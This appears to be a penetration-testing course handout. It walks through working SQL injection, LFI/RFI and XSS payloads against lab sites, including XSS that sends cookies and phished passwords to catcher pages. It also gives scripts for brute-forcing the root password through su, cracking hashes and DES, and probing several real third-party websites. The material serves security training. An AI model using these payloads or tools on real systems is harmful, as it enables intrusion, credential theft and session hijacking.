- https://phpapp.infosecaddicts.com/acre2.php?lap=acer'
- -----------------------------------------------------------------------
- Page returns the following error:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
- In order to perform union-based sql injection - we must first determine the number of columns in this query.
- We do this using the ORDER BY
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 100-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '100' in 'order clause'
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 50-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '50' in 'order clause'
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 25-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '25' in 'order clause'
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 12-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '12' in 'order clause'
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 6-- +
- -----------------------------------------------------------------------
- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
- Now we build out the union all select statement with the correct number of columns
- Reference:
- http://www.techonthenet.com/sql/union.php
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
- -----------------------------------------------------------------------
- Now we negate the parameter value 'acer' by turning into the word 'null':
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
- -----------------------------------------------------------------------
- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
- Use a cheat sheet for syntax:
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
- -----------------------------------------------------------------------
- ########################
- # Question I get a lot #
- ########################
- Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
- Here is a good reference for it:
- https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
- Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
- #########################
- # File Handling Attacks #
- #########################
- Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/showfile.php?filename=about.txt
- -----------------------------------------------------------------------
- See if you can read files on the file system:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/showfile.php?filename=/etc/passwd
- -----------------------------------------------------------------------
- We call this attack a Local File Include or LFI.
- Now let's find some text out on the internet somewhere:
- https://www.gnu.org/software/hello/manual/hello.txt
- Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
- -----------------------------------------------------------------------
- #########################################################################################
- # SQL Injection #
- # https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx #
- #########################################################################################
- - Another quick way to test for SQLI is to remove the paramter value
- #############################
- # Error-Based SQL Injection #
- #############################
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- -----------------------------------------------------------------------
- #############################
- # Union-Based SQL Injection #
- #############################
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 100--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 50--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 25--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 10--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 5--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 6--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 7--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 8--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 9--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- -----------------------------------------------------------------------
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- -----------------------------------------------------------------------
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- -----------------------------------------------------------------------
- - Another way is to see if you can get the backend to perform an arithmetic function
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(2)
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-2)
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-1)
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=1--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=2--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=1*1
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 >-1#
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<99#
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<>1#
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 2 != 3--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 &0#
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=1--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=2--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='joe' and 1=1--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='dbo' and 1=1--
- -----------------------------------------------------------------------
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- -----------------------------------------------------------------------
- Let's go for a quick check to see if it's DBO
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- -----------------------------------------------------------------------
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- ---------------------------Type This-----------------------------------
- D - 1st Character
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- B - 2nd Character
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- O - 3rd Character
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- -----------------------------------------------------------------------
- ################################
- # Playing with session cookies #
- ################################
- -----------------------------------------------------------------------
- Step 1: Browse to the shopping cart page NewEgg.com
- -------------------Browse to this webpage in Firefox------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ----------------------------------------------------------------------------------
- Step 2: View the current session ID
- ---Type this over the shopping car URL in the address bar (don't paste it )---------
- javascript:void(document.write(document.cookie))
- ------------------------------------------------------------------------------------
- You should see your session cookie and if you don't try again in a different browser
- Step 3: Go back to the shopping cart page (click the back button)
- ---------------------------------------------------------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ---------------------------------------------------------------------------------
- Step 4: Now let's modify the session ID
- ---Type this over the shopping car URL in the address bar (don't paste it )---------
- javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
- ------------------------------------------------------------------------------------
- Step 5: Go back to the shopping cart page (click the back button)
- ---------------------------------------------------------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ---------------------------------------------------------------------------------
- Step 6: View the current session ID
- ---Type this over the shopping car URL in the address bar (don't paste it )---------
- javascript:void(document.write(document.cookie))
- ------------------------------------------------------------------------------------
- -----------------------------------------------------------------------
- #########################################################
- # What is XSS #
- # https://phpapp.infosecaddicts.com/2-Intro_To_XSS.pptx #
- #########################################################
- OK - what is Cross Site Scripting (XSS)
- 1. Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/xss_practice/
- -----------------------------------------------------------------------
- A really simple search page that is vulnerable should come up.
- 2. In the search box type:
- ---------------------------Type This-----------------------------------
- <script>alert('So this is XSS')</script>
- -----------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible.
- Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
- 3. In the search box type:
- ---------------------------Type This-----------------------------------
- <script>alert(document.cookie)</script>
- -----------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
- Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
- 4. Now replace that alert script with:
- ---------------------------Type This-----------------------------------
- <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script>
- -----------------------------------------------------------------------
- This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
- 5. Now view the stolen cookie at:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html
- -----------------------------------------------------------------------
- The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
- ############################
- # A Better Way To Demo XSS #
- ############################
- Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/xss_practice/
- -----------------------------------------------------------------------
- Paste this in the search box
- ----------------------------
- ---------------------------Type This-----------------------------------
- <script>
- password=prompt('Your session is expired. Please enter your password to continue',' ');
- document.write("<img src=\"https://phpapp.infosecaddicts.com/xss_practice/passwordgrabber.php?password=" +password+"\">");
- </script>
- -----------------------------------------------------------------------
- Now view the stolen cookie at:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/xss_practice/passwords.html
- -----------------------------------------------------------------------
- ################################
- # Web App Testing with Python3 #
- ################################
- ##############################
- # Bannergrabbing a webserver #
- ##############################
- ---------------------------Type This-----------------------------------
- nano bannergrab.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- import sys
- import socket
- # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(("45.63.104.73", 80))
- s.send(("GET / HTTP/1.1\r\n\r\n").encode())
- #Convert response to bytes
- response = b""
- # or use encode()
- #response = "".encode()
- while True:
- data = s.recv(4096)
- response += data
- if not data:
- break
- s.close()
- print(response.decode())
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 bannergrab.py
- -----------------------------------------------------------------------
- ########################################
- # Testing availability of HTTP methods #
- ########################################
- A very good practice for a penetration tester is to start by listing the various available HTTP methods.
- Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
- To begin with, we need to import the requests library:
- ---------------------------
- import requests
- ---------------------------
- After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
- ----------------------------------------------------------------------------
- method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
- ----------------------------------------------------------------------------
- The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
- ------------------------------------------------------
- for method in method_list:
- req = requests.request(method, 'https://www.google.com')
- print (method, req.status_code, req.reason)
- ------------------------------------------------------
- ------------------------------------------------------
- for method in method_list:
- req = requests.request(method, 'https://www.darkoperator.com')
- print (method, req.status_code, req.reason)
- ------------------------------------------------------
- ------------------------------------------------------
- for method in method_list:
- req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
- print (method, req.status_code, req.reason)
- ------------------------------------------------------
- ------------------------------------------------------
- for method in method_list:
- req = requests.request(method, 'http://www.dybedu.com')
- print (method, req.status_code, req.reason)
- ------------------------------------------------------
- The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
- -------------------------------------------------------------
- if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
- print ('Cross Site Tracing(XST) is possible')
- -------------------------------------------------------------
- *** Full code with example url: ***
- ---------------------------Type This-----------------------------------
- nano xst.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- import requests
- method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
- for method in method_list:
- req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
- print (method, req.status_code, req.reason)
- if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
- print ('Cross Site Tracing(XST) is possible')
- -------------------------------------------------------------------------
- After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
- ---------------------------Type This-----------------------------------
- python3 xst.py
- -----------------------------------------------------------------------
- ##########################################
- # Foot printing by checking HTTP headers #
- ##########################################
- HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
- To begin with, let us import the requests library:
- ------------------------
- import requests
- ------------------------
- We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library.
- ---------------------------------------------
- request = requests.get('enter the URL')
- ---------------------------------------------
- Next, we will generate a list of headers about which you need the information.
- ---------------------------------------------------------------------------------------------------------------
- header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
- ---------------------------------------------------------------------------------------------------------------
- Next is a try and except block.
- ---------------------------------------------------
- for header in header_list:
- try:
- result = request.headers[header]
- print ('%s: %s' % (header, result))
- except Exception as err:
- print ('%s: No Details Found' % header)
- ---------------------------------------------------
- *** Example Full Code: ***
- ---------------------------Type This-----------------------------------
- nano headercheck.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- import requests
- request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
- header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
- for header in header_list:
- try:
- result = request.headers[header]
- print ('%s: %s' % (header, result))
- except Exception as err:
- print ('%s: No Details Found' % header)
- ----------------------------------------------------------------------------------------------------------------
- After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’.
- ---------------------------Type This-----------------------------------
- python3 headercheck.py
- -----------------------------------------------------------------------
- ##############################################
- # Testing insecure web server configurations #
- ##############################################
- We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
- ---------------------------Type This-----------------------------------
- nano websites.txt
- ---------------------------Paste This----------------------------------
- https://www.google.com
- https://www.cnn.com
- https://foxnews.com
- https://phpapp.infosecaddicts.com/
- https://aspdotnetapp.infosecaddicts.com/
- https://dvws1.infosecaddicts.com/
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano insecure_config_check.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- # Reference: https://www.keycdn.com/blog/http-security-headers
- import requests
- urls = open("websites.txt", "r")
- for url in urls:
- url = url.strip()
- req = requests.get(url)
- print (url, 'report:')
- try:
- protection_xss = req.headers['X-XSS-Protection']
- if protection_xss != '1; mode=block':
- print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
- except:
- print ('X-XSS-Protection not set, it may be possible')
- try:
- options_content_type = req.headers['X-Content-Type-Options']
- if options_content_type != 'nosniff':
- print ('X-Content-Type-Options not set properly:', options_content_type)
- except:
- print ('X-Content-Type-Options not set')
- try:
- transport_security = req.headers['Strict-Transport-Security']
- except:
- print ('HSTS header not set properly, Man in the middle attacks is possible')
- try:
- content_security = req.headers['Content-Security-Policy']
- print ('Content-Security-Policy set:', content_security)
- except:
- print ('Content-Security-Policy missing')
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 insecure_config_check.py
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano LFI-RFI.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- print("\n### PHP LFI/RFI Detector ###")
- import urllib.request, urllib.error, urllib.parse,re,sys
- TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
- RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
- TravLimit = 12
- print("==> Testing for LFI vulns..")
- TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
- for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
- TARGET += "../"
- try:
- source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
- except urllib.error.URLError as e:
- print("$$$ We had an Error:",e)
- sys.exit(0)
- if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
- print("!! ==> LFI Found:",TARGET+"etc/passwd")
- break ## BREAK LOOP WHEN VULN FOUND
- print("\n==> Testing for RFI vulns..")
- TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
- try:
- source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
- except urllib.error.URLError as e:
- print("$$$ We had an Error:",e)
- sys.exit(0)
- if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
- print("!! => RFI Found:",TARGET)
- print("\nScan Complete\n") ## DONE
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 LFI-RFI.py
- -----------------------------------------------------------------------
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- ###########################################
- ----------- ############### # Day 5: Password cracking and Forensics ############### -----------
- ###########################################
- ---------------------------Type This-----------------------------------
- nano list.txt
- ---------------------------Paste This-----------------------------------
- hello
- goodbye
- red
- blue
- yourname
- tim
- bob
- secureninjapython3
- joe
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano rootbrute.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python3
- import sys
- try:
- import pexpect
- except(ImportError):
- print("\nYou need the pexpect module.")
- print("http://www.noah.org/wiki/Pexpect\n")
- sys.exit(1)
- # Change this if needed.
- # LOGIN_ERROR = 'su: incorrect password'
- LOGIN_ERROR = "su: Authentication failure"
- def brute(word):
- print("Trying:", word)
- child = pexpect.spawn('/bin/su')
- child.expect('Password: '.encode("utf-8"))
- child.sendline(word)
- i = child.expect(['.+\s#\s', LOGIN_ERROR, pexpect.TIMEOUT], timeout=3)
- if i == 1:
- print("Incorrect Password")
- if i == 2:
- print("\n\t[!] Root Password:", word, i)
- child.sendline('id')
- print(child.before)
- child.interact()
- if len(sys.argv) != 2:
- print("\nUsage : ./rootbrute.py <wordlist>")
- print("Eg: ./rootbrute.py words.txt\n")
- sys.exit(1)
- try:
- words = open(sys.argv[1], "r").readlines()
- except(IOError):
- print("\nError: Check your wordlist path\n")
- sys.exit(1)
- print("\n[+] Loaded:", len(words), "words")
- print("[+] BruteForcing...\n")
- for word in words:
- brute(word.replace("\n", ""))
- -----------------------------------------------------------------------
- References you might find helpful:
- http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
- ---------------------------Type This-----------------------------------
- python3 rootbrute.py list.txt
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano md5crack.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python3
- import hashlib
- import sys
- if len(sys.argv) != 3:
- print("Usage: ./md5crack.py <hash> <wordlist>")
- sys.exit(1)
- pw = sys.argv[1]
- wordlist = sys.argv[2]
- try:
- words = open(wordlist, "r")
- except(IOError):
- print("Error: Check your wordlist path\n")
- sys.exit(1)
- words = words.readlines()
- print("\n", len(words), "words loaded...")
- hashes = {}
- for word in words:
- hash = hashlib.md5()
- hash.update(word[:-1].encode('utf-8'))
- value = hash.hexdigest()
- hashes[word[:-1]] = value
- for (key, value) in hashes.items():
- if pw == value:
- print("Password is:", key, "\n")
- -----------------------------------------------------------------------
- Why use hexdigest
- http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
- ---------------------------Type This-----------------------------------
- python3 md5crack.py 8ff32489f92f33416694be8fdc2d4c22 list.txt
- -----------------------------------------------------------------------
- ####### Challenge ########
- I will buy lunch (a nice lunch), for the person that can explain how the htcrack.py script works.
- Teamwork makes the dreamwork. Google is your friend.
- ####### Challenge ########
- ---------------------------Type This-----------------------------------
- htpasswd -nd yourname
- - enter yourname as the password
- ---------------------------Type This-----------------------------------
- nano htcrack.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python3
- import crypt
- import sys
- if len(sys.argv) != 3:
- print("Usage: ./htcrack.py <password> <wordlist>")
- print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]")
- sys.exit(1)
- pw = sys.argv[1].split(":", 1)
- try:
- words = open(sys.argv[2], "r")
- except(IOError):
- print("Error: Check your wordlist path\n")
- sys.exit(1)
- wds = words.readlines()
- print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-")
- print(" - http://darkcode.ath.cx -")
- print("\n", len(wds), "words loaded...")
- for w in wds:
- if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]:
- print("\nCracked:", pw[0] + ":" + w, "\n")
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 htcrack.py joe:7XsJIbCFzqg/o list.txt
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano DES-Bruteforce.py
- ---------------------------Paste This-----------------------------------
- import base64
- from Crypto.Cipher import DES
- THRESH = 0.9
- keyFile = open("keys.txt")
- keys = keyFile.readlines()
- ciph = base64.decodebytes(b'ESzjTnGMRFnfVOJwQfqtyXOI8yzAatioyufiSdE1dx02McNkZ2IvBg==\n')
- for key in keys:
- obj = DES.new(key[0:8].encode("utf-8"), DES.MODE_ECB)
- decodedStr = str(obj.decrypt(ciph))
- foundLetters = 0
- for eachChar in decodedStr:
- # print(THRESH)
- if eachChar.isalpha() or eachChar.isdigit() or eachChar.isspace():
- foundLetters = foundLetters + 1
- # print(float(foundLetters) / float(len(decodedStr)))
- if (float(foundLetters) / float(len(decodedStr)) > THRESH):
- print("DES(ciphertext," + key[0:8] + ")=", obj.decrypt(ciph))
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 DES-Bruteforce.py
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano extract-geo-location_from_image.py
- ---------------------------Paste This-----------------------------------
- import sys
- import os
- from PIL import Image
- from PIL.ExifTags import TAGS
- for root, dir, files in os.walk(str(sys.argv[1])):
- for fp in files:
- if ".JPG" in fp.upper():
- # open a file and extract exif
- fn = root + "/" + fp
- try:
- i = Image.open(fn)
- info = i._getexif()
- exif = {}
- for tag, value in info.items():
- decoded = TAGS.get(tag, tag)
- exif[decoded] = value
- # from the exif data, extract gps
- exifGPS = exif['GPSInfo']
- latData = exifGPS[2]
- lonData = exifGPS[4]
- # calculate the lat / long
- latDeg = latData[0][0] / float(latData[0][1])
- latMin = latData[1][0] / float(latData[1][1])
- latSec = latData[2][0] / float(latData[2][1])
- lonDeg = lonData[0][0] / float(lonData[0][1])
- lonMin = lonData[1][0] / float(lonData[1][1])
- lonSec = lonData[2][0] / float(lonData[2][1])
- # correct the lat/lon based on N/E/W/S
- Lat = (latDeg + (latMin + latSec / 60.0) / 60.0)
- if exifGPS[1] == 'S':
- Lat = Lat * -1
- Lon = (lonDeg + (lonMin + lonSec / 60.0) / 60.0)
- if exifGPS[3] == 'W':
- Lon = Lon * -1
